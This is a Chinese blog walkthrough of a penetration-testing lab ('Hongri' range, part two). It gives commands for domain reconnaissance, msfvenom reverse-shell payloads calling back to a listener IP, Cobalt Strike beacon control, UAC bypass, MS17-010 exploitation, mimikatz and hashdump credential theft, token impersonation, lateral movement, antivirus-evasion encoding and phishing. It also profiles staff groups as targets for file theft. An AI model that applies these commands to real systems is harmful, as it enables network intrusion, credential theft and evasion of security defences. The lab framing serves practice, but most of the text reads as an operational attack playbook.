【红日靶场】靶机简单复现水文章【第二篇】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


继续上一篇文章

获取服务软件与杀软

tasklist

如果目标机器上补丁过多,加上杀软齐全,就应该考虑放弃 exp 提权。

      原因1:需要更多的时间消耗在对反病毒软件对抗。

      原因2:目标机补丁过多,需要消耗更多的时间。

      原因3:可能因为某些 exp 导致蓝屏从而丢失权限。

此种情况下示例提权思路:如目标机器上安装了 mysql,并与内网其中一台建立大量连接。就可以考虑 mysql udf 提权。

单个补丁安装情况查询:

systeminfo>snowming.txt&(for %i in (KB4519572  KB4287903 KB4287904) do @type snowming.txt|@find /i  "%i"|| @echo  no this padding: %i)&del /f /q /a snowming.txt

注:以上需要在可写目录执行。需要临时生成 snowming.txt,以上补丁编号请根据环境来增、删。

搜集安装软件以及版本,路径等

wmic product > insformation.txt

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

获取域组、用户

获取全部域用户:

net user /domain

获取域分组:

net group /domain

在域组中,其中有几个组需要特别关注:

1. IT组/研发组:他们掌握在大量的内网密码,数据库密码等。

2. 秘书组:他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业务来确定渗透方向。

3. Domain Admins 组:root/administrator

4. 财务组:他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组织的整体架构。

5. CXX 组,如ceo,cto,coo等。不同的目标组织名字不同,如部长,厂长,经理等。

6. HR 组:他们的电脑中有大量人事信息,商业秘密等。

以 Domain Admins 组为例,开始规划信息探测等级:

【等级1】确定某部门具体人员数量;

【等级2】确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻击方向;

【等级3】分别探测白天/夜间内网中所存活机器并且对应IP地址;

【等级4】对应人员的工作机内网IP,以及工作时间;

【等级5】根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器;

【等级6】制定目标机器后渗透与持续渗透的方式以及后门。

 

探测等级1:

net group "Domain Admins" /domain

探测等级2:

for /f %i in (1.txt) do net user %i /domain >>user.txt

      后面可以结合 meterpreter 获取反弹 shell、测试内网段在线主机、获取主机操作系统信息、获取端口服务开放情况等。

      注:可以在不同的时段(白天/晚上)探测内网段在线主机。

0x02 非 root/administrator 用户下的主动信息搜集

在 iis appool\defaultappool 的权限下,逐步获取了如下信息:

1.该目标内网分配段

2.安装的软件

3.杀毒软件情况

4.端口开放情况

5.运行的服务

6.补丁情况

7.管理员上线操作时间段

8.域用户详细信息(英文 user 对应的职务,姓名等)

9.根据域内分组可以进一步确定攻击方向。如秘书组,如 hr 组等。


nc 反弹shell 来测试

后面操作就不操作了

MSF 反弹

      使用msfvenom生成payload文件,使用菜刀上传到WWW目录下     

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.135 lport=7777 -f exe -o agan2.exe

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.206.135 lport=7777 -f raw >agan3.php

上传生成的马子

msfconsole

此时走起,浏览器访问刚刚上传agan3.php

PS: 也可利用应用系统漏洞例如MS17-010(445端口需开启)获得cmdshell后使用sessions –u 1 将session 1 的cmdshell升级为meterpreter

服务端运行CS

客户端运行

通过webshell 上传cs 生成的木马,再次回到客户端cs 成功看到马子上线

CS生成的木马默认60秒回连一次,这就导致我们不能实时操作远程PC。通过修改sleep时间可以达到实时操作的功能,建议把sleep时间修改为1秒或0秒

在界面最底下有个beacon>输入框,这就是输入命令的地方。例如:输入shell calc.exe将会在被控PC上弹出计算器。输入help会显示帮助文档。

通过CS还能浏览被控PC的文件目录,实现截屏、端口扫描等功能,大家把每一个都试试。

ms14-058/ms15-051/ms16-016/ms16-032

      这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成。

UAC-DLL

      这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。

uac-token-duplication

      这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的token启动任意进程。此漏洞要求攻击删除分配给提升token的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。

Uac-eventvwr

      这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候它的权限就是高了,成功绕过UAV。

Uac-wscript

      这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效。

当然也可以自己去下载最新的EXP 导入进来

点击开始

受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

 

提权成功,新增了一条会话,星号(*)表示该会话是一个提权成功的会话。

提权成功后我们再执行危险操作时被控PC就不会有UAC提示,被控目标也不会察觉。

beacon  为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

Beacon Commands

===============

 

    Command                   Description

    -------                   -----------

    argue                     进程参数欺骗

    blockdlls                 在子进程中阻止非Microsoft的DLLs文件

    browserpivot              注入受害者浏览器进程

    bypassuac                 绕过UAC

    cancel                    取消正在进行的下载

    cd                        切换目录

    checkin                   强制让被控端回连一次

    clear                     清除beacon内部的任务队列

    connect                   通过TCP连接到Beacon

    covertvpn                 部署Covert VPN客户端

    cp                        复制文件

    dcsync                    从DC中提取密码哈希

    desktop                   远程VNC

    dllinject                 反射DLL注入进程

    dllload                   使用LoadLibrary将DLL加载到进程中

    download                  下载文件

    downloads                 列出正在进行的文件下载

    drives                    列出目标盘符

    elevate                   尝试提权

    execute                   在目标上执行程序(无输出)

    execute-assembly          在目标上内存中执行本地.NET程序

    exit                      退出beacon

    getprivs                  对当前令牌启用系统权限

    getsystem                 尝试获取SYSTEM权限

    getuid                    获取用户ID

    hashdump                  转储密码哈希值

    help                      帮助

    inject                    在特定进程中生成会话

    jobkill                   杀死一个后台任务

    jobs                      列出后台任务

    kerberos_ccache_use       从ccache文件中导入票据应用于此会话

    kerberos_ticket_purge     清除当前会话的票据

    kerberos_ticket_use       从ticket文件中导入票据应用于此会话

    keylogger                 键盘记录

    kill                      结束进程

    link                      通过命名管道连接到Beacon

    logonpasswords            使用mimikatz转储凭据和哈希值

    ls                        列出文件

    make_token                创建令牌以传递凭据

    mimikatz                  运行mimikatz

    mkdir                     创建一个目录

    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)

    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)

    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)

    mode http                 使用HTTP作为通信通道

    mv                        移动文

Dump hash

点击view->Credentials

获取用户主机hash

第一张网卡

可以看到有三张网卡,本地连接的网卡有两个

简单收集一波命令,之前前面介绍的相关的命令

whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain

查询域控

域存活主机扫描

运行命令 Ladon 192.168.244.0/24 OnlinePC

发现报错,此时我们去github上下载k8哥哥的工具即可,真正的大佬

把Ladon.cna 下载下来就可以了

https://github.com/k8gege/Aggressor#cobalt-strike

CS4.0第三方脚本导入即可

探测到两台主机,还有一个我自己也没有遇到过

域内查找系统版本信息

Ladob 192.168.0/24 OsScan

域内探测系统开放的端口

Ladon 192.168.244.0/24 PortScan

查找域控

net time /domain

net group "domain controllers" /domain

我这里好像是我的环境有问题

域渗透分析工具BloodHound

shell SharpHound.exe -c all

我的还是出错,这里就直接截图别人的吧

Find Shortest Paths to Domain Admins

横向移动

      因为192.168.244.0/24段不能直接连接到192.168.206.135(kali地址),所以需要CS派生smb

beacon。让内网的主机连接到win7上。

      可以这么理解,就是192.168.244是内网,kali 是公网一台服务器,win7是具备了web服务和能跟DMZ区进行互相访问

      SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

选择psexec

选择

窃取token

steal token

选择steal token

如下内容来自如下链接:

      https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA

      https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ

CS和MSF联动使用MS17010扫描

最开始想使用CS的MS17010的利用插件。发现并不太好使,所以放弃。使用MSF。

下载地址:

                https://github.com/phink-team/Cobaltstrike-MS17-010

因为只是想用msf的MS17-010测试效果,所以没有必要派生一个meterpreter 的 shell。通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作即可。socks 1080


 

setg Proxies socks4:127.0.0.1:1080
setg ReverseAllowProxy true

CS派生Shell给MSF

建立监听

handler -p windows/meterpreter/reverse_tcp -H 0.0.0.0 -P 6789

CS创建外部监听器

选择刚才建立的外部监听器

成功上线,添加路由

msf的exp进行多次尝试之后只有两个成功。其他的exp都会蓝屏或者建立不了会话。分别为:

auxiliary/admin/smb/ms17010command

在2003主机上查看也发现成功。

那么我们可以远程开启3389或者远程让03主机下载win7上的木马等等方式拿到03的权限。

use exploit/windows/smb/ms17010psexec

set payload 

windows/meterpreter/bind_tcp

设置相关参数,执行后即可拿到权限。

免杀payload

      1.若目标主机存在杀毒软件等,payload上传后会被检测到并清除则需对payload进行免杀操作,使用msfcenom生成payload,这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。(shellcode是一段用于利用软件漏洞而执行的代码,为16进制的机器码,常常使用机器语言编写。)例如:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=XXXXXXX   lport=11206 -f  c (-e 选择制定的编码器,-i 编码次数,-b 去多余/坏字符),使用C语言编译器编写代码,对生成的shellcode进行执行,可直接加载到内存中,可采用内联汇编形式对机器语言进行编译等等。https://www.cnblogs.com/LyShark/p/11331476.html含多种语言多种编译后门方式。编译为EXE文件并到目标主机上执行,即可免杀。

      2.使用多层编码解码对大马原文件进行加密,对关键字进行拆解免杀

关键字免杀

通常通过web漏洞获得的webshell权限较低,需要进行提权,利用msf中绕过UAC模块,首先background将当前会话保存到后天,session可以查看当前后台所有会话,每个session对应一个ID值,use进入模块,将参数session设置为噶保存的session ID值,直接exploit,执行成功后会返回一个新的

meterpreter,getsystem就可获得system权限。

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息

msf > use exploit/windows/local/ms13_053_schlamperei  #使用具体的exp,根据列出的具体可用exp而定

msf > set SESSION 1   

msf > exploit

3.还可以利用windows MS系列未修补的漏洞进行提权 ,ms13-081、ms15-051、ms16-032、ms17-010等,search搜索模块,use使用模块,set session Id
4.用户登录windows操作系统时系统会给用户分配令牌,的那个用户访问资源系统是会使用令牌进行身份认证,若目标环境是域环境且域管理员登陆过有权限的终端即可假冒域管理员的角色
      使用use incognito进入假冒令牌模块
      List_tokens –u 查看存在的令牌
      Impersonate_token 用户名(\)

5.使用hashdump和logonpasswords读内存和注册表密码,在Credentials模块下查看

6.使用LaZagne工具,用于查找本地存储的所有密码,将exe文件上传到目标主机上再执行

获得目标主机shell后开始进行系统信息收集

钓鱼攻击

钓鱼链接

或使用克隆网站


虽然我们生活在阴沟里,但依然有人仰望星空!


发布了182 篇原创文章 · 获赞 99 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/105351342